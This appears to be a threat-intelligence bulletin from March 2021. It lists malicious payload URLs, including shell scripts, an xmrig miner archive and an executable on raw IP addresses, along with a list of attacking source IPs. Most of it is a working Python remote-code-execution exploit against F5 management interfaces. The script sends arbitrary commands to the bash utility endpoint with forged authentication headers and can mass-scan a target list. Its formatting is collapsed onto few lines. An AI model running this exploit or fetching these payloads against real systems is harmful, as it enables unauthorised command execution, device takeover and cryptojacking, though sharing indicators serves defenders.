今日威胁情报2021/3/19-22(第360期）

1er Payload:http://118.107.43.174/upload/files/run.shhttp://118.107.43.174/upload/files/xmrig.tar.gz
2do Payload:http://124.158.4.235:8080/docs/nexusa.txthttp://136.243.19.213:8885/docs/config.jsonhttp://222.122.47.27:2143/auth/java.exehttp://27.1.1.34:8080/docs/solr.sh
IPs origen:45.83.29.58222.108.2.2037.120.194.100176.222.34.116132.145.111.134173.82.240.245176.222.34.116173.237.207.45104.233.164.29139.162.186.12735.235.96.5353.96.235.3513.56.200.22834.82.84.22415.228.52.2545.56.89.14035.203.110.60159.89.150.4045.33.71.63119.236.147.8454.253.20.132157.175.47.2315.236.131.189223.75.252.90185.89.250.18747.75.102.144

import requestsimport jsonimport argparseimport reimport jsonimport timefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)
t = int(time.time())
def poc_1(target_url, command):    print(target_url)    headers = {        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0',        'Content-Type': 'application/json',        'X-F5-Auth-Token': '',        'Authorization': 'Basic YWRtaW46QVNhc1M='    }
    data = json.dumps({'command': 'run' , 'utilCmdArgs': '-c ' + command})    # proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}    check_url = target_url + '/mgmt/tm/util/bash'    try:        r = requests.post(url=check_url, data=data, headers=headers, verify=False, timeout=20)        if r.status_code == 200 and 'commandResult' in r.text:            default = json.loads(r.text)            display = default['commandResult']            save_file(target_url, t)            print('[+] vulnerable {0}'.format(target_url))            print('$ > {0}'.format(display))        else:            print('[-] Not vulnerable')            except Exception as e:        print('url dead {0}'.format(target_url))
def save_file(target_url, t):    output_name = 'Output_{0}.txt'.format(t)    f = open(output_name, 'a')    f.write(target_url + 'n')    f.close()
def format_url(url):    try:        if url[:4] != "http":            url = "https://" + url            url = url.strip()        return url    except Exception as e:        print('URL Error {0}'.format(url))
def main():    parser = argparse.ArgumentParser("f5 rce poc")    parser.add_argument('-u', '--url', type=str, help=' URL ')    parser.add_argument('-f', '--file', type=str, help=' File List ')    parser.add_argument('-c', '--command', type=str, default="id", help=' execute commands ')    args = parser.parse_args()
    url = args.url    file = args.file    command = args.command


    if not url is None:        target_url = format_url(url)        poc_1(target_url, command)    elif file != '':        for url_link in open(file, 'r', encoding='utf-8'):            if url_link.strip() != '':                url_path = format_url(url_link.strip())                poc_1(url_path, command)    else:        sys.exit(0)     
if __name__ == '__main__':    main()